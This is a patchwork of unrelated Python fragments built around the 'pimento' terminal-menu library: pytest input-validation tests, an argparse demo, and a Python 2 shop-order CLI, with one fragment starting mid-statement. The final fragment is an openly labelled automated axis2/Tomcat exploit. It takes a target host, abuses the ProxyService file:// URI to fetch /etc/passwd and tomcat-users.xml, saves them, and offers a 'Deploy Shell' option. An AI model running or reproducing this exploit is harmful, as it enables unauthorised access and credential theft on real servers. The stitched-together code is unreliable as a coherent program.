def test_post_prompt_not_string(): # test for https://github.com/toejough/pimento/issues/15 # test post prompt is int try: pimento.menu([1,2,3], "pre-prompt", 5) except Exception as e: assert "pre_prompt" not in e.args[0]
def test_default_not_in_range(): # negative with pytest.raises(ValueError): pimento.menu(['yes', 'no'], "Yes/No?", "Please select one [{}]: ", default_index=-1) # past range with pytest.raises(ValueError): pimento.menu(['yes', 'no'], "Yes/No?", "Please select one [{}]: ", default_index=2)
def test_string_prompts(): # not a string (int) for pre-prompt with pytest.raises(TypeError): pimento.menu(123, [1, 2, 3], "Please select one: ") # not a string (list) for post-prompt with pytest.raises(TypeError): pimento.menu("Yes/No?", ['y', 'n'], ['prompt'])
def test_bad_items_type(): # try to create a menu with bad items # with a non-iterable with pytest.raises(TypeError): pimento.menu(6, "Yes/No?", "Please select one: ") # with an unbounded iterable def generator(): x = 0 while True: yield x x += 1 with pytest.raises(TypeError): pimento.menu(generator(), "Yes/No?", "Please select one: ")
def main_action(): result = menu([ 'add customer', 'add item', 'add employee', 'add order', 'monthly revenue', 'quit' ], pre_prompt='What would you like to do:', post_prompt="Action: ", indexed=True) return result
def boolean_menu(prompt): post_prompt = prompt + " [{}] " result = menu(["yes", "no"], pre_prompt="Options:", post_prompt=post_prompt, default_index=1, insensitive=True, fuzzy=True) if result == "yes": return True elif result == "no": return False else: raise Exception("This should not happen!")
def date_menu(prompt, in_the_future=False): ''' returns a date object ''' months = [ 'jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec' ] good_date = False while not good_date: try: print prompt y = input('Year: ') m = menu([ 'jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec' ], post_prompt="Month: ") d = input('Day: ') date_obj = date(int(y), int(months.index(m) + 1), int(d)) date_check = date_obj - date.today() if in_the_future: if date_check.days > 0: good_date = True else: good_date = False print 'Date is in the past, try again.' except ValueError as e: print 'Error: Something is wrong with your date, try again..' except NameError as e: print 'Error: Please enter a numeric value.' return date_obj
def test_empty_default_selection(): # test empty default with pytest.raises(ValueError): pimento.menu(['', 'foo'], default_index=0)
def test_whitespace_option_menu(): # list with only whitespace options with pytest.raises(ValueError): pimento.menu(['', ' ', '\t', '\n', '\r '])
def test_empty_option_menu(): # list with only an empty option with pytest.raises(ValueError): pimento.menu([''])
def test_no_items(): # try to create a menu with no items with pytest.raises(ValueError): pimento.menu([], "Yes/No?", "Please select one: ")
def test_default_incorrect_type(): # float with pytest.raises(TypeError): pimento.menu(['yes', 'no'], "Yes/No?", "Please select one [{}]: ", default_index=1.5)
action='store_true') group.add_argument('--string', help='use a string', action='store_true') group.add_argument('--dictionary', help='use a dictionary', action='store_true') group.add_argument('--set', help='use a set', action='store_true') group.add_argument('--pre-only', help='only a pre-prompt', action='store_true') group.add_argument('--pre-only-default', help='only a pre-prompt with a default arg', action='store_true') group.add_argument('--list-only', help='only a list of options', action='store_true') args = parser.parse_args() if args.indexed_numbers: result = pimento.menu(['100', '200', '300'], "Select one of the following:", "Please select by index or value: ", indexed=True) elif args.tuple: result = pimento.menu(('100', '200', '300'), "Select one of the following:", "Please select: ") elif args.string: result = pimento.menu('abc', "Select one of the following:", "Please select: ") elif args.dictionary: result = pimento.menu({'key1': 'v1', 'key2': 'v2'}, "Select one of the following:", "Please select: ") elif args.set: result = pimento.menu(set([1, 2]), "Select one of the following:", "Please select: ") elif args.pre_only: result = pimento.menu([1, 2], "Select one of the following:", ) elif args.pre_only_default: result = pimento.menu([1, 2], "Select one of the following:", default_index=0) elif args.list_only: result = pimento.menu([1, 2]) print('Result is {}'.format(result))
def add_order(db): ''' orderNo int memberNo int total real toBeDelivered boolean, driverID int, FOREIGN KEY(memberNo) REFERENCES customers(memberNo), FOREIGN KEY(driverID) REFERENCES deliverydrivers(employeeID) ); ''' # db queries orders = Orders(db).get_all() customers = Customers(db).get_all() deliverydrivers = DeliveryDrivers(db).get_all() # get latest order no from db orders = np.asarray(orders) order_num = max(orders[:, 0]) + 1 # get and check customer number correct_customer_no = False customers = np.asarray(customers) while not correct_customer_no: customer_no = input("customer number for this order: ") if customer_no not in customers[:, 0]: print "Sorry that is an invalid customer number" else: i, _ = np.where(customers == customer_no) name = customers[i, 1] + ' ' + customers[i, 2] address = customers[i, 3] print "Found customer: %s, living at %s" % (name[0], address[0]) correct_customer_no = True # get order total valid_total = False while not valid_total: try: total = float(raw_input("Order total ($): ")) valid_total = True except ValueError: print "Please only use numbers in the total" # is this a delivery? delivery = boolean_menu('Is this a delivery?') # if delivery, get driver id if delivery: drivers = np.asarray(deliverydrivers) driver = menu(drivers[:, 0].tolist(), pre_prompt='Please assign a delivery driver:', post_prompt="Driver: ", indexed=True) driver = int(driver) order_db = Orders(db) if delivery: err = order_db.add(order_num, customer_no, total, delivery, driver) else: err = order_db.add(order_num, customer_no, total, delivery) if err is not None: print(err) return if delivery: print("Added order (%i, %i, %s, %s, %i)\n" % (order_num, customer_no, total, delivery, driver)) else: print("Added order (%i, %i, %s)\n" % (order_num, customer_no, total))
import re import os import tomcatmanager as tm from pimento import menu import base64 parser = argparse.ArgumentParser(description='Automated axis2/TomCat exploit.') parser.add_argument('host', metavar='N', help='The apache/tomcat host you want to run the script against') args = parser.parse_args() targethost = args.host menu_choice = menu( ['','Dump target passwd & TomCat-Users.xml', 'Deploy Shell'], pre_prompt='Actions:', post_prompt='What are we doing [{}]:', default_index=1, indexed=True, insensitive=True, fuzzy=True ) def file_dumps(targethost): get_etc_passwd_file = requests.get("http://"+targethost+"/axis2/services/ProxyService/get?uri=file:///etc/passwd") get_tomcat_users_file = requests.get("http://"+targethost+"/axis2/services/ProxyService/get?uri=file:///etc/tomcat6/tomcat-users.xml") if(get_etc_passwd_file.status_code == 200): if not os.path.exists("/tmp/"+targethost): os.makedirs("/tmp/"+targethost) with open("/tmp/"+targethost+"/"+targethost+"_passwd.txt","w") as f: f.write(get_etc_passwd_file.content.decode('utf-8')) f.close()